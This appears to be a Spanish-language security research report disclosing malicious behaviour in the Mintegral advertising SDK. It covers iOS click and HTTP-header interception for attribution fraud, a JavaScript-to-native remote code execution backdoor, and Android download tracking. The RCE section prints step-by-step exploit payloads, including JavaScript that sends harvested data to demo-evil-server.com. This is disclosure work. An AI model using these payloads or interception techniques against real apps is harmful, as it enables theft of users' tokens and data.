Skip to main content

Informe de investigación sobre el SDK malicioso SourMint

Escrito por
Headshot of Kirill Efimov

Kirill Efimov

malicious code, ad fraud

24 de agosto de 2020

0 minutos de lectura

Descripción general

Mintegral SDK es un popular SDK de publicidad para aplicaciones móviles, disponible para iOS y Android. Lo utilizan miles de aplicaciones móviles, con más de mil millones de descargas al mes. Los desarrolladores de aplicaciones usan este SDK para monetizar sus aplicaciones con anuncios de terceros.

El equipo de investigación de seguridad de Snyk realizó dos divulgaciones importantes relacionadas con Mintegral SDK. La primera divulgación se publicó en agosto de 2020 y reveló una recopilación excesiva de datos y el secuestro de clics en la distribución de iOS del SDK. La segunda divulgación descubrió una puerta trasera en la versión para iOS del SDK que permite la ejecución remota de código, además de nuevos hallazgos sobre la distribución para Android del SDK.

El objetivo de este artículo es compartir los detalles técnicos de nuestra investigación y nuestros hallazgos, más allá de lo que se trató en las publicaciones del blog.

Este informe se divide en tres secciones:

  • Recopilación excesiva de datos, incluida la interceptación y el registro de todas las solicitudes HTTP en el SDK para iOS —publicado originalmente el 24 de agosto de 2020—, describe las capacidades de seguimiento de URL y solicitudes en la distribución para iOS de Mintegral SDK.

  • Una puerta trasera en la distribución para iOS del SDK permite la ejecución remota de código: describe las capacidades de ejecución remota de código en MintegralAdSDK, publicado el 15 de octubre de 2020.

  • Seguimiento de URL de descargas en Android: describe varios hallazgos en la distribución para Android de Mintegral SDK.

Recopilación excesiva de datos en iOS [agosto de 2020]

Descripción general

Esta parte de la investigación se realizó sobre la versión binaria del SDK de Mintegral para iOS, ya que en agosto de 2020 aún no teníamos acceso a la versión de código abierto. La investigación se llevó a cabo con la versión 6.3.5.0 del SDK (para arquitectura x86), disponible para descargar desde GitHub.

Identificamos que las versiones 5.5.1 y posteriores del SDK de Mintegral para iOS contienen funciones maliciosas que provocan filtraciones de información. En pocas palabras, el SDK espía los clics de los usuarios en enlaces y la actividad de red dentro de las aplicaciones afectadas. El espionaje ocurre incluso si el desarrollador o la plataforma de mediación de anuncios no habilitaron el SDK. Además, el SDK intenta ocultar su comportamiento malicioso al detectar proxies, simuladores y dispositivos con jailbreak.

Swizzling de métodos

Mintegral SDK utiliza una técnica llamada swizzling de métodos para reemplazar, en tiempo de ejecución, las implementaciones de los métodos UIApplication openURL y SKStoreProductViewController loadProductWithParameters. También registra una clase personalizada NSURLProtocol.

Estos hooks se utilizan para espiar a los usuarios de las aplicaciones y enviar toda la información sobre las solicitudes HTTP, las URL abiertas y los enlaces de App Store en los que hacen clic dentro de la aplicación.

Los encabezados y las URL de las solicitudes HTTP podrían contener datos confidenciales, pero, junto con el IDFA (identificador para anunciantes), estos datos permiten que Mintegral cometa fraude de atribución publicitaria.

Fraude de atribución publicitaria

Para monetizar sus aplicaciones, los desarrolladores suelen instalar plataformas publicitarias. Estas plataformas reciben ingresos de los anunciantes por cada instalación que se produce después de que un usuario hace clic en un anuncio. Es común que los desarrolladores usen varias plataformas publicitarias en sus aplicaciones. Por eso, para determinar qué plataforma publicitaria debe recibir la atribución de una instalación, cada clic se registra en un proveedor de atribución, una plataforma de medición móvil (MMP).

La siguiente figura muestra cómo funciona la funcionalidad maliciosa de Mintegral. En este ejemplo, el usuario hizo clic en un anuncio de “Another Platform”. Sin embargo, como Mintegral puede interceptar todas las URL que abre la aplicación, podría enviar solicitudes adicionales a un proveedor de atribución y fingir que el clic se produjo en uno de sus anuncios. El proceso completo funciona así:

  1. El usuario hace clic en un enlace de un anuncio dentro de la aplicación, publicado por una red publicitaria que no es Mintegral, para instalar una nueva aplicación desde App Store. 

  2. El SDK de la red publicitaria envía la información del clic a su plataforma de backend.

  3. Tras interceptar el evento de clic mediante código inyectado en los controladores de eventos de iOS a través del swizzling de métodos, Mintegral registra los datos del clic en su servidor.

  4. La red publicitaria registra una notificación de clic con el proveedor de atribución.

  5. Mintegral también registra una notificación de clic con el proveedor de atribución.

Cuando el proveedor de atribución intenta asociar el evento de instalación con las notificaciones de clic registradas, encuentra dos coincidencias. Al usar un modelo de atribución de último contacto, se atribuye la instalación a la notificación de clic de Mintegral y se rechaza la notificación de clic de la otra red publicitaria.

Diagrama que muestra una aplicación móvil conectada a la App Store, otra plataforma, un proveedor de atribución y Mintegral mediante flujos de datos numerados.

Snyk trabajó con un importante proveedor de atribución para confirmar que Mintegral usa los datos de clics para generar notificaciones de clic falsas. Durante la investigación, el proveedor pudo demostrar que se generaban notificaciones de clic falsas y que estas provocaban que los clics en anuncios se atribuyeran incorrectamente a Mintegral.

Aplicación de demostración

Para demostrar el ataque, configuramos una aplicación de demostración. Esta muestra el hook malicioso openURL en acción. Usamos un proxy de depuración para interceptar todo el tráfico de red.

 Para inicializar la aplicación, usamos el siguiente fragmento de código de la documentación de Mintegral:

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

Con el SDK inicializado, abrimos example.com desde la aplicación al hacer clic en un botón:

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

Después de iniciar la aplicación, vemos de inmediato un par de solicitudes de Mintegral SDK en nuestro proxy:

  • GET https://setting.rayjump.com/sdk/customid

  • GET https://setting.rayjump.com/setting

  • POST https://analytics.rayjump.com

Simulador de iPhone con botones de pruebas de diagnóstico junto a Charles Proxy, que muestra la cadena de consulta de una solicitud capturada y detalles del dispositivo

Configuración

La respuesta de https://setting.rayjump.com/setting es un objeto JSON con muchas opciones diferentes. La siguiente tabla describe los campos más interesantes para nuestra investigación.

Campo JSON

Descripción

csw

Habilita o deshabilita la funcionalidad antidepuración.

cou

Habilita o deshabilita el hook del método openURL. 

cdai

URL a la que se envía la información filtrada (*).

cspn

Habilita o deshabilita el hook de los métodos de StoreKit.

cud

Habilita o deshabilita el hook de NSURLProtocol.

cudl

Arreglo de URL que se rastrean mediante NSURLProtocol (**).

* En nuestro caso, era LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh= , que, al decodificarse, corresponde a https://n.systemlog.me/log.

** En nuestro caso, era kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==, que, al decodificarse, corresponde a ["itunes.apple.com","apps.apple.com"].

Decodificación de la carga útil

Después de hacer clic en el botón que abre example.com, vemos dos solicitudes más. La primera es una solicitud GET a http://example.com, como esperábamos. La segunda es una solicitud POST a https://n.systemlog.me/log.

Simulador de iPhone que muestra los botones de detección de hooks y configuración del entorno de ejecución junto a Charles Proxy, que muestra un registro de solicitudes POST

El cuerpo de la solicitud parece estar codificado en base64. Pero, en realidad, no es una cadena codificada en base64. Mintegral SDK implementa su propia lógica de codificación y decodificación, que se encuentra en +[MTGBase base64DecodeString:] y +[MTGBase base64CleverDecodeString:]. Ten en cuenta que MTGBase no está expuesta en los encabezados públicos del SDK y no está pensada para que los desarrolladores accedan a ella.

Usamos el siguiente fragmento de código para decodificar la carga útil:

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Captura de pantalla de una terminal que muestra datos de carga útil decodificados y detalles de solicitudes de una app de iOS de un análisis de seguridad de Sourmint

La carga útil contiene muchos datos, incluidos el IDFA, el IDFV, la versión del sistema operativo, el agente de usuario y más. Sin embargo, también incluye un campo llamado “clever” que, una vez más, está codificado. Podemos decodificarlo con base64DecodeString:

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Como puedes ver, contiene la URL, el seguimiento de pila y algunos datos adicionales, como el controlador y el nombre del método.

Análisis en profundidad

Como mencionamos antes, Mintegral SDK es de código cerrado. Analizaremos la versión 6.3.5.0 para arquitectura x86.

El binario es un ejecutable Macho que contiene varios binarios más. El código que nos interesa se encuentra en _CXX_CXX_OperationPKTask.o.

Al revisar la clase, vemos +[_CXX_CXX_OperationPKTask load], que se ejecuta automáticamente cuando la clase se agrega en tiempo de ejecución. Esto significa que, si el SDK se instala mediante CocoaPods, la lógica maliciosa se inicializará independientemente de si los desarrolladores usan el SDK.

El método load realiza una serie de llamadas que nos llevan a ___cxxwebk_init_vw. Este método comprueba si la marca de protección antidepuración está habilitada e inicializa los hooks si la marca está desactivada o si la depuración está deshabilitada.

Desensamblado de Objective-C anotado que muestra CSW, una llamada de protección contra la depuración, COU y las etiquetas cspn

La inicialización de los hooks depende de la solicitud de configuración mencionada anteriormente. En la siguiente tabla se muestran las relaciones entre los campos JSON de la respuesta y la clase MTGSetting:

Campo JSON

Propiedad de MTGSetting

Descripción

csw

cSrtW

Habilita o deshabilita la funcionalidad antidepuración.

cou

cOpenURL

Habilita o deshabilita el hook del método openURL. 

cspn

cPackageName

Habilita o deshabilita el hook de los métodos de StoreKit.

Lógica antidepuración

Captura de código que muestra lógica antidepuración, con anotaciones rojas que señalan /Applications/Cydia.app y /Library/MobileSubstrate/MobileSubstrate.dylib

La función __cxx_cxx_op_isInSuperViewFrame devuelve true en los siguientes casos:

  • La plataforma del dispositivo es un “simulador”.

  • Hay un depurador conectado (implementado en ____mvpmvvm_isDebuggerAttached_block_invoke).

  • Hay uno de los siguientes archivos en el dispositivo (indicio de jailbreak):

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • El proxy está habilitado (mediante CFNetworkCopySystemProxySettings).

Swizzling del método openURL

La lógica de la siguiente captura de pantalla está implementada en el método ___cxxwebkmcouitninapo, al que se llama desde ___cxxwebk_init_vw si la marca correspondiente está habilitada.

Editor de código oscuro que muestra código del entorno de ejecución de Objective-C con intercambio de métodos, invocación de bloques y lógica de retención de objetos

La captura de pantalla anterior muestra la implementación del swizzling de métodos. Realiza las siguientes llamadas:

  1. NSSelectorFromString para obtener un selector del método “openURL:”.

  2. NSClassFromString para obtener un descriptor de clase de UIApplication.

  3. class_getInstanceMethod para obtener el descriptor del método.

  4. method_getImplementation para obtener la implementación real del método.

  5. Luego, definen un bloque de código que llama a _____cxxwebkmcouitninapo_block_invoke_2 y después llama al openURL original.

  6. method_setImplementation para reemplazar el openURL original por el bloque de código del paso anterior.

Casi lo mismo ocurre con el método openURL:options:completionHandler:, excepto que antes comprueban la versión del sistema (el controlador se introdujo por primera vez en iOS 10).

En este punto ya vimos cómo se aplica el hook. Ahora analizaremos su propia implementación (_____cxxwebkmcouitninapo_block_invoke_2).

Implementación del hook de openURL

En la práctica, la implementación se encuentra en el método ___cxxwebkmcoulsz. Allí vemos otra llamada de comprobación antidepuración; luego comprueba la marca __mc_notifyInHouse y no hace nada si su valor es 1.

Esto se hace para ignorar todas las URL de marketing en las que el usuario hace clic en un anuncio publicado por Mintegral. En la captura de pantalla siguiente podemos ver la lógica correspondiente en +[MTGBase mtgOpenURL:options:completionHandler:]:

Editor de código oscuro que muestra el código de un método Objective-C que invoca una operación openURL.

El siguiente fragmento de código muestra que también serializan los datos de seguimiento de pila y los filtran en la carga útil que envían a https://n.systemlog.me/log.

Podemos establecer un punto de interrupción en la llamada a +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]. En la siguiente captura de pantalla se muestran los argumentos de la llamada:

Ventana del depurador que muestra código ensamblador, controles de subprocesos y resultados de LLDB para un punto de interrupción en ViewController de una app para iOS.
  • La URL que se abrió (http://example.com?foo=bar&x=y).

  • La clase en la que se produjo el clic (ViewController).

  • El método desde el que se produjo el clic (openURLWithOptions:).

  • Información del seguimiento de pila.

Otra función interesante es _nsh_id_by_cc, que parece encargarse de identificar los SDK de la competencia. En la siguiente captura de pantalla se muestra la lógica correspondiente:

Editor de código oscuro que muestra código de ingeniería inversa en Objective-C con nombres de servicios y frameworks de Apple.

Al volver a +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:], después de codificar la carga útil mediante +[MTGBase base64EncodeString:], crea un nuevo bloque de código y usa _dispatch_async para invocarlo.

Esto da lugar a una serie de llamadas con transformaciones adicionales de la carga útil y termina en -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], que realiza una solicitud POST a collectDomainUrl de MTGSetting, cuyo valor predeterminado es https://n.systemlog.me/log.

Video que muestra cómo se puede filtrar una URL privada.

A demonstration of the SourMint Malicious SDK from Mintegral

Hook de SKStoreProductViewController

SKStoreProductViewController es un controlador de vista que ofrece una página donde el usuario puede comprar contenido multimedia en App Store.

El método loadProductWithParameters:completionBlock: carga una nueva pantalla de producto para mostrarla.

En lugar de entrar en detalles técnicos sobre la implementación del hook, agregamos el siguiente fragmento de código a la aplicación de demostración:

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];
}

Como resultado, vemos una solicitud POST a https://n.systemlog.me/log con la siguiente carga útil en el campo “clever”:

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}]

Como podemos ver, el ID del producto está en la solicitud. Queda demostrado.

Hook de NSURLProtocol

La clase NSURLProtocol permite a los desarrolladores redefinir el funcionamiento del sistema de carga de URL de Apple. El SDK de Mintegral registra una implementación maliciosa de NSURLProtocol, que se puede configurar de forma remota para interceptar cualquier solicitud saliente de una aplicación y rastrear URL y encabezados HTTP, incluido el encabezado Authorization.

Para los desarrolladores de aplicaciones, esto significa que Mintegral podría recopilar tokens de API, cookies y encabezados de autenticación básica.

Para entender cómo activa el SDK esa parte del código malicioso, tenemos que volver a ___cxxwebk_init_vw.

Captura de pantalla oscura de código con anotaciones de ingeniería inversa de Objective-C etiquetadas como “cud”, “cudl” y “NSURLProtocol hook init”.

La captura de pantalla anterior muestra que el indicador cud debe estar habilitado y que el arreglo cudl no debe estar vacío para activar el hook.

La siguiente captura de pantalla muestra parte de la función ___cxxwebkterisiuuxx, que se llama desde el método anterior.

Editor de código oscuro que muestra código de Objective-C en tiempo de ejecución para inicializar una clase y registrar una subclase de NSURLProtocol.

El código de la función ___cxxwebkterisiuuxx realiza las siguientes acciones:

  1. Crea una clase que hereda de NSURLProtocol (objc_registerClassPair, objc_allocateClassPair).

  2. Agrega una implementación para canInitWithRequest:, que funciona como interceptor (class_addMethod).

  3. Llama a +[NSURLProtocol registerClass:] para registrar la clase en el sistema de carga de URL.

En nuestra investigación, agregamos el siguiente fragmento de código para verificar qué datos recopila el código malicioso:

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

Como resultado, vemos una solicitud POST a https://n.systemlog.me/log con la siguiente carga útil en el campo “clever”:

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

En la solicitud, podemos ver la URL y el encabezado de autorización. Aunque no se incluye el cuerpo de la solicitud, los encabezados suelen contener datos confidenciales. Incluso podrían incluir información de identificación personal. Por ejemplo, si una API usa tokens JWT, el correo electrónico o el nombre de usuario podrían estar almacenados dentro del token.

Conclusión

Durante la investigación, observamos muchas técnicas interesantes que los desarrolladores de Mintegral usan para ocultar el comportamiento malicioso de su SDK. Como podemos ver, activan los hooks solo en aplicaciones y regiones específicas, lo que permitió que el código malicioso permaneciera allí durante más de un año sin llamar la atención.

En cuanto a la cronología, la primera versión (5.5.1) del SDK malicioso se publicó el 17 de julio de 2019. Descubrimos que todas las versiones posteriores incluían la misma funcionalidad maliciosa.

Muchas aplicaciones populares se vieron afectadas por las actividades maliciosas de este SDK. Esperamos que esta investigación, al arrojar luz sobre la situación, impulse un mayor escrutinio y controles de privacidad en las redes publicitarias.

Ejecución remota de código (RCE) en iOS [octubre de 2020]

Resumen

Descubrimos que la clase MTGBaseBridgeWebView, que se usa en todo el SDK para comunicarse con JavaScript, actúa como puerta trasera y permite invocar funciones arbitrarias desde el código nativo de la aplicación.

Diagrama que muestra un servidor de Mintegral enviando datos privados de usuarios y una carga maliciosa de banner a una aplicación para smartphones con código nativo y un UIWebView integrado.

En la imagen anterior puedes ver un esquema simplificado de la ejecución remota de código en acción.

Análisis de diferencias

Después de nuestra primera divulgación pública, Mintegral anunció el lanzamiento de una versión de código abierto del SDK.

Comparamos la nueva versión de código abierto con la versión binaria anterior, distribuida como cocoapod. Aunque no teníamos el código fuente de la versión anterior, podíamos comparar los nombres de las clases. Para hacerlo, extrajimos los archivos .o de los binarios y comparamos los símbolos con los archivos .h de la versión de código abierto.

Como esperábamos, se había eliminado el componente malicioso _CXX_CXX_OperationPKTask que ya habíamos descubierto, pero el análisis de diferencias reveló algo más. Las siguientes clases nos llamaron la atención:

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

Decidimos analizar los binarios más de cerca para entender para qué se usaban esos archivos.

Versiones afectadas

Todas las versiones de MintegralAdSDK anteriores a la 6.5.0.0, inclusive. La versión 6.6.0.0, publicada el 10 de septiembre de 2020, no incluye la funcionalidad de puerta trasera que se describe en este artículo.

Implementación del puente

Empezamos por buscar dónde se usa la clase MTGRemoteCommandParser y encontramos un solo lugar: -(void)handleNativeObject:parameters: en la clase MTGBaseBridgeWebView.

En la implementación, podemos ver que -(void)handleNativeObject:parameters: usa MTGRemoteCommandParser para analizar el argumento parameters e invoca el método -(void)dispatchCommand:feedback: de la clase MTGCommandDispatcher.

A primera vista, parece que no se usa -(void)handleNativeObject:parameters:, pero no es así. Veamos cómo se puede invocar desde código JavaScript.

MTGBaseBridgeWebView implementa el método -(void)webView:decidePolicyForNavigationAction:decisionHandler: del protocolo WKNavigationDelegate. Este método se llama cada vez que se produce una navegación en la vista web. Esto significa que podemos activarlo desde JavaScript con solo llamar a location.href=something. En la versión de código abierto del SDK, encontramos una expresión regular que analiza las URL de las solicitudes de navegación: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Editor de código con tema oscuro que muestra código Objective-C que analiza componentes de URL con una expresión regular y llama a una función.

-(void)callFunctionWithName:fucId:param:, en la captura de pantalla anterior, simplemente realiza una llamada a self con el selector fucName.

Entonces, para llamar a -(void)handleNativeObject:parameters: de MTGBaseBridgeWebView, necesitamos la siguiente línea de código JavaScript: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Ten en cuenta que todo lo que describimos anteriormente sigue siendo válido en la versión más reciente del SDK, al momento de escribir este artículo, así como en la versión de código abierto. La única excepción es que -(void)handleNativeObject:parameters: se eliminó de las versiones más recientes.

Invocación de métodos remotos

No describiremos la implementación completa de MTGInvocationBoxing ni de las otras clases. En cambio, mostraremos cómo se puede crear código JavaScript malicioso para activar el método remoto.

La siguiente prueba de concepto ataca una aplicación de "notas simples" que tiene una clase NoteRepository con dos métodos: +(void)save: y +(NSString*)load.

Inyectamos el código JavaScript malicioso reemplazando el servidor de Mintegral por nuestra propia implementación de servidor. Puedes encontrar aquí el código fuente completo de esta aplicación y del servidor.

El código JavaScript malicioso para esta aplicación es el siguiente:

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Valor

Decodificado

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

Este código llama al método +(NSString*)load de la clase NoteRepository y envía el resultado a nuestro endpoint demo-evil-server.com/log.

Usa las mismas técnicas de ofuscación que se describen en la sección anterior. Sin embargo, la prueba de concepto ya incluye código JavaScript para codificar y decodificar (consulta banner.html).

Obtener ejecución remota de código (RCE) completa

En el ejemplo anterior vimos cómo se puede usar el SDK para invocar cualquier método estático de una clase arbitraria. En esta sección mostraremos cómo aprovecharlo para ejecutar cualquier código nativo.

A modo de demostración, mostraremos cómo crear un UIAlertController con el mensaje "PWNED!".

Tomemos como referencia el siguiente código de Objective-C:

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Tenemos que averiguar cómo crear y conservar una instancia de UIAlertController entre llamadas, cómo obtener una instancia compartida de la aplicación y cómo llamar a presentViewController:animated:completion: con la instancia.

Paso 1: Guardar una referencia a la clase UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

MTGRemoteCommandParser admite dos tipos de referencias a objetos:

  • static: obtiene una referencia a un objeto de clase por nombre.

  • singleton: realiza varios pasos:

    • Obtiene una clase por nombre (MTGSetting en nuestro ejemplo).

    • Ejecuta el método sharedInstance en la clase. [MTGSetting sharedInstance]

      en Objective-C.

    • Usa valueForKey: para obtener propiedades separadas por puntos. En nuestro caso, sería [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Ten en cuenta que jsonTitles es simplemente una instancia de NSMutableDictionary. En el exploit se usa como almacenamiento temporal para nuestras referencias. MTGRemoteCommandParser admite los siguientes tipos de parámetros:

  • 0: número.

  • 1: referencia.

  • 2: cadena.

  • 4: nil.

El tipo de referencia (1) nos permite pasar una referencia a un objeto como argumento de un método. Es importante tener en cuenta que uniqueIdentifier se analiza exactamente igual que un uniqueIdentifier de nivel superior; por lo tanto, también admite el tipo singleton.

Paso 2: Asignar una nueva instancia de la clase UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

En este caso, toda la magia ocurre en singleton_MTGSetting.jsonTitles.a.alloc.init. Como ya sabemos, singleton_MTGSetting.jsonTitles.a nos proporciona una referencia a la clase UIAlertController. Pero tenemos que entender por qué funciona [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"]. En la documentación de valueForKey: encontramos lo siguiente:

El patrón de búsqueda que usa valueForKey: para encontrar el valor correcto que debe devolver se describe en Patrones de búsqueda de accesores de la Guía de programación de codificación de valores clave.

Descubrimos que valueForKey: puede llamar a cualquier método por nombre si este no recibe argumentos.

Así, ahora podemos crear una nueva instancia de la clase UIAlertController, a la que hará referencia la propiedad b del diccionario jsonTitles.

Paso 3: Establecer el mensaje "PWNED!"

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

Este paso es bastante obvio: llamamos a setMessage: en la instancia de UIAlertController para establecer el mensaje PWNED!.

Paso 4: Guardar una referencia a la clase UIApplication

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

Este paso es similar al paso 1. Tenemos que guardar la referencia a la clase UIApplication en jsonTitles.x.

Paso 5: Mostrar la alerta

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

Este paso parece complicado, pero simplemente utiliza varias técnicas de los pasos anteriores. En código Objective-C, sería así:

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

En este punto, demostramos cómo se puede mostrar una alerta mediante la ejecución remota de código. Puedes encontrar la carga útil completa aquí. Para llamar a los pasos uno por uno, creamos un arreglo de acciones y ejecutamos cada acción en la devolución de llamada window.WindVane.onSuccess (a su vez, después de que se completara la acción anterior).

Video que muestra cómo se puede filtrar el contenido del portapapeles al distribuir el exploit mediante un anuncio malicioso.

Remote Code Execution using Mintegral's MTGInvocationBoxing

Código fuente del exploit de JavaScript

Ya vimos cómo el SDK de Mintegral permite la ejecución remota de código nativo mediante JavaScript. Sin embargo, Mintegral controla por completo ese código JavaScript. Pero, curiosamente, es posible lograr lo mismo mediante anuncios interactivos creados por los propios anunciantes. Los anuncios son páginas web basadas en JavaScript.

En teoría, un anunciante puede dirigirse con precisión a un grupo específico de usuarios o a un conjunto concreto de dispositivos mediante un anuncio malicioso que incluya el exploit de JavaScript.

Conclusión

Solo podemos especular sobre por qué Mintegral incluyó en su SDK la capacidad de invocar métodos nativos de forma remota, pero, por el nombre de las clases, como MTGCommandDispatcher y MTGRemoteCommand, creemos que fue intencional. Además, Mintegral eliminó el código inmediatamente después de nuestra publicación, aunque en ese momento no lo sabíamos.

Seguimiento de descargas en Android [octubre de 2020]

Resumen

En las dos secciones anteriores de este artículo de investigación, contamos cómo el equipo de seguridad de Snyk descubrió un comportamiento malicioso en el SDK de Mintegral que puede explotarse en dispositivos iOS y provocar fraude publicitario, filtración de datos y ejecución remota de código (RCE). Quisimos investigar más la distribución del SDK para Android, como explicamos en esta sección.
En resumen, estos son nuestros principales hallazgos:

  1. Seguimiento de URI de descargas de Google, tanto del navegador como de aplicaciones, incluidas las descargas de archivos habituales, los archivos adjuntos de correo electrónico y los enlaces de Google Docs.

  2. Seguimiento de todas las descargas de APK, orgánicas o no.

Estos datos se envían a los servidores de Mintegral.

Comportamiento observado

Al descargar un enlace de Google Docs, observamos que la aplicación enviaba las siguientes solicitudes a https://n.systemlog.me:

Editor de solicitudes HTTP al estilo de Burp Suite que muestra una solicitud POST con encabezados y datos de formulario codificados en URL

